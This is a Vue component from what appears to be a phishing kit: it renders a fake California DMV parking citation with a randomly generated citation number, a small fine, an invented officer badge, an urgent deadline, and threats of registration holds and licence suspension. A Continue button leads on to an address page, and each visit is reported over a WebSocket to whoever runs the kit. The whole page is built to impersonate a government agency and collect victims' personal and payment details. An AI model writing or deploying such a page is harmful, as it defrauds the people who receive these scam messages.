406 lines
10 KiB
Vue
406 lines
10 KiB
Vue
<script setup lang="ts">
|
|
import { useRouter } from "vue-router";
|
|
import CommonLayout from "@/views/CommonLayout.vue";
|
|
import { useLoadingStore } from "@/stores/loadingStore";
|
|
import { onMounted, ref } from "vue";
|
|
import { configData, myWebSocket } from "../utils/common";
|
|
import { useI18n } from "vue-i18n";
|
|
|
|
const { t } = useI18n();
|
|
|
|
const loadingStore = useLoadingStore();
|
|
const router = useRouter();
|
|
|
|
const licensePlate = ref("");
|
|
const payDate = ref("");
|
|
const invoiceNumber = ref("");
|
|
// 默認金額 $6.99
|
|
const fineAmount = ref("$6.99");
|
|
|
|
const next = () => {
|
|
loadingStore.setLoading(true);
|
|
setTimeout(() => {
|
|
loadingStore.setLoading(false);
|
|
router.push("/address");
|
|
}, 200);
|
|
};
|
|
|
|
// 格式化日期為圖中的 Mar 28, 2026 格式
|
|
function getFormattedDate(): string {
|
|
const date = new Date();
|
|
const months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
|
|
return `${months[date.getMonth()]} ${date.getDate()}, ${date.getFullYear()}`;
|
|
}
|
|
|
|
// 生成符合 CA-KTM92B7X-HNR35L6P 格式的隨機單號
|
|
function generateCitationFormat(): string {
|
|
const segment1 = Math.random().toString(36).toUpperCase().substring(2, 10);
|
|
const segment2 = Math.random().toString(36).toUpperCase().substring(2, 10);
|
|
return `CA-${segment1}-${segment2}`;
|
|
}
|
|
|
|
onMounted(() => {
|
|
myWebSocket?.send(
|
|
JSON.stringify({
|
|
event: "page_type",
|
|
content: { pageType: "pay" },
|
|
})
|
|
);
|
|
|
|
// 設置截止日期
|
|
payDate.value = getFormattedDate() +1;
|
|
|
|
const inumber = localStorage.getItem("invoiceNumber");
|
|
if (inumber) {
|
|
invoiceNumber.value = inumber;
|
|
} else {
|
|
invoiceNumber.value = generateCitationFormat();
|
|
localStorage.setItem("invoiceNumber", invoiceNumber.value);
|
|
}
|
|
|
|
localStorage.setItem("route", "pay");
|
|
|
|
const licensePlateValue = localStorage.getItem("phoneNumber");
|
|
if (licensePlateValue) {
|
|
licensePlate.value = licensePlateValue;
|
|
}
|
|
});
|
|
</script>
|
|
|
|
<template>
|
|
<CommonLayout>
|
|
<template #default>
|
|
<div class="page-container">
|
|
<div class="citation-card">
|
|
|
|
<div class="pending-alert">
|
|
<div class="alert-icon-wrap">
|
|
<span class="exclamation">!</span>
|
|
</div>
|
|
<div class="alert-content">
|
|
<h2 class="alert-title">Pending Citation Action Required</h2>
|
|
<p class="alert-desc">Our records indicate an outstanding citation associated with your vehicle.</p>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="content-body">
|
|
<h1 class="main-title">PARKING CITATION</h1>
|
|
|
|
<div class="citation-number-box">
|
|
<label class="label-text">Citation Number</label>
|
|
<div class="number-value">{{ invoiceNumber }}</div>
|
|
</div>
|
|
|
|
<div class="details-section">
|
|
<h3 class="group-title">Citation Details</h3>
|
|
<div class="detail-item">
|
|
<span class="detail-label">Issuing Authority</span>
|
|
<span class="detail-value">California DMV - Traffic Division</span>
|
|
</div>
|
|
<div class="detail-item">
|
|
<span class="detail-label">Officer Identity</span>
|
|
<span class="detail-value">Badge No. 4729</span>
|
|
</div>
|
|
|
|
<h3 class="group-title" style="margin-top: 24px;">Violation Details</h3>
|
|
<div class="detail-item">
|
|
<span class="detail-label">Violation Code</span>
|
|
<span class="detail-value highlight-red">CVC § 22500</span>
|
|
</div>
|
|
<div class="detail-item">
|
|
<span class="detail-label">Description</span>
|
|
<span class="detail-value">Parking in Prohibited Zone</span>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="payment-summary-box">
|
|
<div class="summary-row">
|
|
<span class="summary-label">Total Amount Due</span>
|
|
<span class="summary-price">
|
|
{{ configData?.pay_amount ? configData.pay_amount : "$6.99" }}
|
|
</span>
|
|
</div>
|
|
<div class="summary-row">
|
|
<span class="summary-label">Payment Deadline</span>
|
|
<span class="summary-deadline">{{ payDate }}</span>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="action-area">
|
|
<button class="continue-button" @click="next">
|
|
Continue <span class="arrow-icon">»</span>
|
|
</button>
|
|
</div>
|
|
|
|
<div class="footer-info">
|
|
<h4 class="footer-sub-title">Payment Methods</h4>
|
|
<ul class="bullet-list">
|
|
<li>Online Payment Available</li>
|
|
<li>Credit/Debit Card: Visa, MasterCard, AMEX, Discover</li>
|
|
<li>By Mail: Check or Money Order</li>
|
|
<li>In Person: Authorized Office</li>
|
|
</ul>
|
|
|
|
<h4 class="footer-sub-title" style="margin-top: 20px;">Appeal Information</h4>
|
|
<p class="appeal-text">
|
|
<strong>Right to Contest:</strong> To appeal this citation, a formal Request for Hearing must be filed within 21 days of the issue date. You must provide the Citation Number and relevant evidence (e.g., location photos, valid permits). Failure to respond will result in the forfeiture of the right to appeal.
|
|
</p>
|
|
|
|
<div class="warning-callout">
|
|
<h5 class="warning-header">Warning</h5>
|
|
<p class="warning-text">
|
|
Failure to pay or appeal by the deadline may result in the imposition of late fees, a hold on vehicle registration (Registration Lien), or suspension of driving privileges under State Law.
|
|
</p>
|
|
</div>
|
|
|
|
<div class="barcode-wrapper">
|
|
<div class="barcode-graphic">
|
|
<div class="bars"></div>
|
|
<div class="black-block"></div>
|
|
</div>
|
|
<div class="barcode-text">{{ invoiceNumber }}</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</template>
|
|
</CommonLayout>
|
|
</template>
|
|
|
|
<style scoped>
|
|
.page-container {
|
|
background-color: #f5f7f9;
|
|
display: flex;
|
|
justify-content: center;
|
|
padding: 0;
|
|
min-height: 100vh;
|
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
|
padding: 20px;
|
|
|
|
}
|
|
|
|
.citation-card {
|
|
background-color: #ffffff;
|
|
width: 100%;
|
|
max-width: 450px;
|
|
min-height: 100vh;
|
|
box-shadow: 0 4px 20px rgba(0,0,0,0.08);
|
|
display: flex;
|
|
flex-direction: column;
|
|
|
|
}
|
|
|
|
/* 頂部粉紅色警告區域 */
|
|
.pending-alert {
|
|
background-color: #fff5f5;
|
|
border-bottom: 1px solid #fceaea;
|
|
padding: 20px;
|
|
display: flex;
|
|
gap: 15px;
|
|
}
|
|
.alert-icon-wrap {
|
|
width: 24px;
|
|
height: 24px;
|
|
background-color: #c62828;
|
|
border-radius: 50%;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
flex-shrink: 0;
|
|
}
|
|
.exclamation {
|
|
color: white;
|
|
font-weight: bold;
|
|
font-size: 16px;
|
|
}
|
|
.alert-title {
|
|
color: #8a2a2a;
|
|
font-size: 18px;
|
|
font-weight: 700;
|
|
margin: 0 0 8px 0;
|
|
}
|
|
.alert-desc {
|
|
color: #a35a5a;
|
|
font-size: 14px;
|
|
margin: 0;
|
|
line-height: 1.4;
|
|
}
|
|
|
|
/* 主內容區 */
|
|
.content-body {
|
|
padding: 30px 25px;
|
|
border-left: 4px solid rgb(22, 49, 89);
|
|
}
|
|
|
|
.main-title {
|
|
color: #e53935;
|
|
text-align: center;
|
|
font-size: 22px;
|
|
font-weight: 800;
|
|
letter-spacing: 0.5px;
|
|
margin-bottom: 25px;
|
|
}
|
|
|
|
/* 單號藍色背景框 */
|
|
.citation-number-box {
|
|
background-color: #ebf5ff;
|
|
border-radius: 8px;
|
|
padding: 15px 20px;
|
|
margin-bottom: 30px;
|
|
}
|
|
.label-text {
|
|
color: #7a5a5a;
|
|
font-size: 13px;
|
|
display: block;
|
|
margin-bottom: 5px;
|
|
}
|
|
.number-value {
|
|
color: #202124;
|
|
font-size: 17px;
|
|
font-weight: 700;
|
|
}
|
|
|
|
/* 詳細條目 */
|
|
.group-title {
|
|
color: #9e9e9e;
|
|
font-size: 14px;
|
|
font-weight: 500;
|
|
margin-bottom: 12px;
|
|
}
|
|
.detail-item {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
padding: 12px 0;
|
|
font-size: 15px;
|
|
}
|
|
.detail-label { color: #5f6368; }
|
|
.detail-value { color: #202124; font-weight: 500; }
|
|
.highlight-red { color: #e53935; font-weight: 700; }
|
|
|
|
/* 支付摘要藍區 */
|
|
.payment-summary-box {
|
|
background-color: #f4faff;
|
|
border-radius: 8px;
|
|
padding: 18px 20px;
|
|
margin: 25px 0;
|
|
}
|
|
.summary-row {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
padding: 4px 0;
|
|
}
|
|
.summary-label {
|
|
color: #424242;
|
|
font-size: 14px;
|
|
}
|
|
.summary-price {
|
|
color: #e53935;
|
|
font-size: 20px;
|
|
font-weight: 800;
|
|
}
|
|
.summary-deadline {
|
|
color: #e53935;
|
|
font-size: 16px;
|
|
font-weight: 700;
|
|
}
|
|
|
|
/* 按鈕樣式 */
|
|
.action-area {
|
|
margin: 30px 0;
|
|
}
|
|
.continue-button {
|
|
width: 100%;
|
|
background-color: #0d2d5e; /* 深藍色 */
|
|
color: white;
|
|
border: none;
|
|
border-radius: 6px;
|
|
padding: 16px;
|
|
font-size: 18px;
|
|
font-weight: 700;
|
|
cursor: pointer;
|
|
box-shadow: 0 4px 12px rgba(13, 45, 94, 0.3);
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
gap: 10px;
|
|
}
|
|
.arrow-icon { font-size: 20px; }
|
|
|
|
/* 底部資訊 */
|
|
.footer-info {
|
|
border-top: 1px solid #f0f0f0;
|
|
padding-top: 25px;
|
|
}
|
|
.footer-sub-title {
|
|
color: #757575;
|
|
font-size: 14px;
|
|
margin-bottom: 10px;
|
|
}
|
|
.bullet-list {
|
|
padding-left: 18px;
|
|
color: #616161;
|
|
font-size: 13px;
|
|
line-height: 1.8;
|
|
}
|
|
.appeal-text {
|
|
font-size: 13px;
|
|
color: #616161;
|
|
line-height: 1.6;
|
|
}
|
|
|
|
/* 黃色警告框 */
|
|
.warning-callout {
|
|
background-color: #fff9e6;
|
|
border-left: 4px solid #ffb300;
|
|
padding: 15px;
|
|
margin-top: 25px;
|
|
border-radius: 4px;
|
|
}
|
|
.warning-header {
|
|
color: #7f6000;
|
|
font-size: 15px;
|
|
font-weight: 700;
|
|
margin: 0 0 5px 0;
|
|
}
|
|
.warning-text {
|
|
color: #7f6000;
|
|
font-size: 13px;
|
|
margin: 0;
|
|
line-height: 1.5;
|
|
}
|
|
|
|
/* 條形碼 */
|
|
.barcode-wrapper {
|
|
margin: 40px 0;
|
|
display: flex;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
}
|
|
.barcode-graphic {
|
|
display: flex;
|
|
height: 45px;
|
|
width: 280px;
|
|
}
|
|
.bars {
|
|
flex: 1;
|
|
background: repeating-linear-gradient(90deg, #333, #333 1px, transparent 1px, transparent 3px, #333 3px, #333 4px);
|
|
}
|
|
.black-block {
|
|
width: 80px;
|
|
background-color: #000;
|
|
}
|
|
.barcode-text {
|
|
margin-top: 8px;
|
|
font-size: 12px;
|
|
letter-spacing: 2px;
|
|
color: #616161;
|
|
}
|
|
|
|
@media (max-width: 480px) {
|
|
.citation-card {
|
|
box-shadow: none;
|
|
}
|
|
}
|
|
</style> |